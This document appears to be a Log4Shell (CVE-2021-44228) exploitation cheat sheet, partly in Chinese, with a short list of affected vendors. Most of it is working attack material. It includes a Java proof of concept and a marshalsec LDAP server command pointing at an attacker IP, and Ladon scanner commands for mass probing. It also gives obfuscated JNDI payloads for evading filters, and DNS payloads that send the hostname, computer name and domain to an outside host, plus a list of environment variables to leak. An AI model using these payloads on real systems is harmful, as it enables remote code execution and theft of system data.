Apache Struts    Apache Struts 2    Apache Solr    Apache Druid    Apache Flink    Apache Spark    Apache Tomcat    ElasticSearch    Flume    Apache Dubbo    Logstash    Kafka    Spring-Boot-starter-log4j2

RedHat     Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected.     https://access.redhat.com/security/cve/cve-2021-4
Jenkins     Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing.     
https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/
https://issues.jenkins.io/browse/JENKINS-67353?focusedCommentId=416946&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-416946
Apache Solr     Apache Solr releases prior to 7.4 are affected.     https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
VMWare     Multiple products are affected.     https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Citrix     Investigation pending     https://support.citrix.com/article/CTX335705
Atlassian     Atlassian is vulnerable if the default configuration was modified.     https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
NetApp     Multiple NetApp products are vulnerable.     https://security.netapp.com/advisory/ntap-20211210-0007/

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class log4j {    private static final Logger logger = LogManager.getLogger(log4j.class);
    public static void main(String[] args) {        //logger.error("${jndi:ldap://192.168.250.83:800/calc}");        logger.error("${jndi:rmi://192.168.250.83:800/calc}");    }}

Ladon web 800

logger.error("${java:version}/${java:os}");

    ${jndi:ldap:/}    ${jndi:ldaps:/}    ${jndi:rmi:/}    ${jndi:dns:/}    ${jndi:iiop:/}

docker pull vulfocus/log4j2-rce-2021-12-09:latest

docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

root@4e4424eccb8d:/demo# java -versionopenjdk version "1.8.0_292"OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1~18.04-b10)OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode)

${date:ldap://${java:ldap://${marker:ldap://${ctx:ldap://${lower:ldap://${upper:ldap://${jndi:ldap://${jndi:rmi://${main:ldap://${jvmrunargs:ldap://${sys:ldap://${env:ldap://${log4j:ldap://

Ladon 192.168.1.1/c log4poc.exe

Ladon url.txt log4poc.exe

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.250.83:800/#Exploit"

${jndi:ldap://${hostName}.log4shell.k8gege.org}${jndi:rmi://${hostName}.log4shell.k8gege.org}
Ladon监听${jndi:ldap://192.168.1.8:800/test}${jndi:rmi://192.168.1.8:800/test}
DNS协议:${jndi:dns://${hostName}.log4shell.k8gege.org}${jndi:dns://${env:COMPUTERNAME}.log4shell.k8gege.org}${jndi:dns://${env:USERDOMAIN}.log4shell.k8gege.org}

${date:ldap://${java:ldap://${marker:ldap://${ctx:ldap://${lower:ldap://${upper:ldap://${jndi:ldap://${jndi:rmi://${main:ldap://${jvmrunargs:ldap://${sys:ldap://${env:ldap://${log4j:ldap://

${jndi:ldap://127.0.0.1:1389/ badClassName}

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}${${::-j}ndi:rmi://k123.k123.k123/ass}${jndi:rmi://k8.k123.k123}${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc}${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc}

系统信息ID     usage     method1     ${java:version}     getSystemProperty("java.version")2     ${java:runtime}     getRuntime()3     ${java:vm}     getVirtualMachine()4     ${java:os}     getOperatingSystem()5     ${java:hw}     getHardware()6     ${java:locale}     getLocale()
环境变量id     usage1     ${env:A8_HOME}2     ${env:A8_ROOT_BIN}3     ${env:ALLUSERSPROFILE}4     ${env:APPDATA}5     ${env:CATALINA_BASE}6     ${env:CATALINA_HOME}7     ${env:CATALINA_OPTS}8     ${env:CATALINA_TMPDIR}9     ${env:CLASSPATH}10     ${env:CLIENTNAME}11     ${env:COMPUTERNAME}12     ${env:ComSpec}13     ${env:CommonProgramFiles}14     ${env:CommonProgramFiles(x86)}15     ${env:CommonProgramW6432}16     ${env:FP_NO_HOST_CHECK}17     ${env:HOMEDRIVE}18     ${env:HOMEPATH}19     ${env:JRE_HOME}20     ${env:Java_Home}21     ${env:LOCALAPPDATA}22     ${env:LOGONSERVER}23     ${env:NUMBER_OF_PROCESSORS}24     ${env:OS}25     ${env:PATHEXT}26     ${env:PROCESSOR_ARCHITECTURE}27     ${env:PROCESSOR_IDENTIFIER}28     ${env:PROCESSOR_LEVEL}29     ${env:PROCESSOR_REVISION}30     ${env:PROMPT}31     ${env:PSModulePath}32     ${env:PUBLIC}33     ${env:Path}34     ${env:ProgramData}35     ${env:ProgramFiles}36     ${env:ProgramFiles(x86)}37     ${env:ProgramW6432}38     ${env:SESSIONNAME}39     ${env:SystemDrive}40     ${env:SystemRoot}41     ${env:TEMP}42     ${env:TMP}43     ${env:ThisExitCode}44     ${env:USERDOMAIN}45     ${env:USERNAME}46     ${env:USERPROFILE}47     ${env:WORK_PATH}48     ${env:windir}49     ${env:windows_tracing_flags}50     ${env:windows_tracing_logfile}